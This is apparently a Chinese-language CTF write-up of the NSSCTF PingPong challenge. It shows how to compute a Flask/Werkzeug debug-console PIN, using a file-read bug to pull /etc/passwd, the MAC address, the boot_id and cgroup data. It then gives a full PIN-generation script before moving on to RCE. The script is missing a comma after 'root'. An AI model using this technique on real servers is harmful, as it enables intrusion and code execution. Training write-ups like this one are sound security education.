flask–通过算pin码进入控制台

知识源于周赛的一道题目–NSSCTF(PingPong)

进入题目首先知道两个信息–框架是flask–首先考虑是不是存在ssti第二个是题目描述中的信息(开启了debug模式)

其实之前并没有接触过这个东西,但是还是通过其他方式非预期做出来了。(也有出题人的原因hhh

flask在开启debug模式下,可以通过输入pin码进行代码调试模式,也就是console控制台。进入控制台之后再进行命令执行

但是这个东西怎么算呢?需要获得几个东西

  • 1. username,用户名
  • 2. modname,默认值为flask.app
  • 3. appname,默认值为Flask
  • 4. moddir,flask库下app.py的绝对路径
  • 5. uuidnode,当前网络的mac地址的十进制数
  • 6. machine_id,docker机器id

很多都是默认的,重点需要关注三个东西

  1. moddir:flask所在的路径,通过查看debug报错信息获得
  2. uuidnode:通过uuid.getnode()读取,通过文件/sys/class/net/eth0/address得到16进制结果,转化为10进制进行计算
  3. machine_id:linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_id,docker靶机则读取/proc/self/cgroup

下面是完整的解题过程

观察发现题目存在任意文件读取漏洞:

通过post参数中的nss进行读取

提示二是去看hint

继续跟进:

说明不能直接访问读取,那就用文件读取漏洞进行查看

好的我们现在知道第一个有用信息就是,最后的flag位置位于环境变量中

那么首先尝试能不能读取到环境变量的内容–(/proc/self/environ是Linux下中的一个文件,这个文件里保存了系统的一些变量

第二个方法就是通过越权找到之前说的三个东西用脚本计算pin值

  • moddir:报错找文件位置
这个其实往往都是默认的,但是还是演示一下
  • uuid
  • 网卡的mac地址的十进制,可以通过代码uuid.getnode()获得,也可以通过读取/sys/class/net/eth0/address获得,一般获取的是一串十六进制数,将其中的横杠去掉然后转十进制就行。

十六进制转十进制

  • 第二个machine-id/proc/self/cgroup

  • machine-id:/proc/sys/kernel/random/boot_id

先把machine-id和boot_id拼接起来填进去进行计算:

脚本:

import hashlib
from itertools import chain

probably_public_bits = [
    'root'  # /etc/passwd
    'flask.app',  # 默认值
    'Flask',  # 默认值
    '/usr/local/lib/python3.8/site-packages/flask/app.py'  # 报错得到
]

private_bits = [
    '2485376912237',  # /sys/class/net/eth0/address 十进制
    'e2a9f272-7959-44cc-86ce-6cfd758857a79cc8dd5d2f15676d3d6cd3ded677d17ebb07421391e4ffe0d22b5daab56494fa'
    # 字符串合并:1./etc/machine-id(docker不用看) /proc/sys/kernel/random/boot_id,有boot-id那就拼接boot-id 2. /proc/self/cgroup
]

# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)
计算得到,开始登录

然后进行rce

发表评论

蜀ICP备2022010829号